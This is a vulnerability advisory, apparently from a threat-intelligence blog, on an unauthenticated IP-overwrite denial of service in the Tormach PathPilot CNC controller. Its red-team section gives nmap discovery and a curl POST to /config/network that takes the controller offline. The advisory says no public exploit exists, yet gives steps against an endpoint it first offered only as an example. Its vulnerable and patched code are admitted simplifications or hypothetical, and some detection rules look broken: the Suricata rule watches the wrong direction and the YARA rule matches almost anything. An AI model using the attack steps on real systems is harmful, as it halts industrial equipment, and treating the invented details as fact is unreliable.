CVE-2024-22813

Executive Summary

CVE-2024-22813 exposes a critical hardcoded IP address vulnerability in the Tormach xsTECH CNC Router and PathPilot Controller v2.9.6. An attacker with local network access can overwrite the device’s static IP configuration, severing the network link between the CNC router and its controller. This results in a denial-of-service (DoS) condition that halts production and requires physical intervention to restore connectivity. The vulnerability is unpatched, and no public exploit code exists, but the attack vector is straightforward due to the lack of authentication on the configuration interface.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary industrial control system (ICS) device.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same local network as the CNC router.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – the vulnerable component is the only affected system.
• Confidentiality (C): None (C:N) – no data exposure.
• Integrity (I): High (I:H) – network configuration is overwritten.
• Availability (A): High (A:H) – device becomes unreachable, halting operations.

Base Score: 7.1 (High)
Temporal Score: 6.4 (High) – due to unpatched status and low attack complexity.

Deep Dive & Mechanics

The Tormach PathPilot Controller v2.9.6 stores its IP address in a hardcoded, writable memory location accessible via the device’s web interface or a proprietary API. The controller does not enforce authentication for configuration changes, allowing any network-connected attacker to send a crafted request that overwrites the IP address. Once overwritten, the controller loses connectivity to the xsTECH CNC Router, causing the router to become unresponsive to commands. The device must be power-cycled and reconfigured manually to restore operation.

Attack Flow:

1. Attacker scans the local network for Tormach devices (e.g., via Shodan or Nmap).
2. Attacker sends a POST request to the device’s configuration endpoint (e.g., /config/network) with a new IP address.
3. The device writes the new IP to its non-volatile memory and reboots the network stack.
4. The controller and router are now on different subnets, breaking communication.
5. Production halts until an operator physically accesses the device and resets the IP.

Vulnerable vs. Patched Code

Vulnerable Code (PathPilot v2.9.6):

# config_manager.py (simplified)
def set_ip_address(new_ip):
    # No authentication check
    with open('/etc/network/interfaces', 'w') as f:
        f.write(f"iface eth0 inet static\naddress {new_ip}\n")
    os.system('ifdown eth0 && ifup eth0')

Patched Code (Hypothetical):

# config_manager.py (patched)
def set_ip_address(new_ip, auth_token):
    if not validate_token(auth_token):
        raise PermissionError("Unauthorized")
    # Validate IP format
    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', new_ip):
        raise ValueError("Invalid IP")
    with open('/etc/network/interfaces', 'w') as f:
        f.write(f"iface eth0 inet static\naddress {new_ip}\n")
    os.system('ifdown eth0 && ifup eth0')

Exploitation & Lab Setup

Red Team

Lab Environment:

• Tormach xsTECH CNC Router with PathPilot Controller v2.9.6
• Attacker machine (Kali Linux) on the same subnet
• Network switch or direct Ethernet connection

Exploitation Steps:

1. Discover the device:

   nmap -sn 192.168.1.0/24
   

2. Identify the controller’s IP (e.g., 192.168.1.100).
3. Send a crafted request to overwrite the IP:

   curl -X POST http://192.168.1.100/config/network \
        -H "Content-Type: application/json" \
        -d '{"ip": "10.0.0.1"}'
   

4. Verify the device is unreachable:

   ping 192.168.1.100
   

   (No response)

Expected Outcome: The CNC router loses connectivity to the controller, causing a denial of service.

Blue Team

Detection & Response:

• Monitor for unauthorized configuration changes via network logs.
• Implement network segmentation to isolate CNC devices.
• Use an IDS/IPS to detect anomalous POST requests to /config/network.

Hunting Query (Splunk):

index=network sourcetype=web_access
| search url="/config/network" method=POST
| table _time, src_ip, dest_ip, http_user_agent

Indicators of Compromise (IOCs)

• Network: Unauthorized POST requests to /config/network on port 80/443.
• Device: Sudden change in IP address of the PathPilot Controller.
• Logs: ifdown eth0 && ifup eth0 command execution in system logs.
• File: Modification of /etc/network/interfaces with a new IP.

Detection Engineering

YARA Rule

rule CVE_2024_22813_Tormach_IP_Overwrite {
    meta:
        description = "Detects attempts to overwrite IP address on Tormach PathPilot Controller"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-22813"
    strings:
        $s1 = "/config/network" ascii wide nocase
        $s2 = "ifdown eth0 && ifup eth0" ascii wide nocase
        $s3 = "address" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: Tormach PathPilot IP Overwrite Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /config/network on Tormach devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/config/network'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22813 Tormach PathPilot IP Overwrite Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/config/network"; http_uri;
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Isolate the CNC router and controller on a dedicated VLAN with strict access controls.
2. Short-term: Disable the web interface if not required, or restrict access via firewall rules.
3. Long-term: Apply a firmware patch from Tormach (once available) that adds authentication and input validation.
4. Compensating Controls: Deploy a network-based IDS/IPS to monitor for exploitation attempts.
5. Monitoring: Enable logging on the device and forward logs to a SIEM for analysis.

Valters IT
DevSecOps & Cyber Threat Intelligence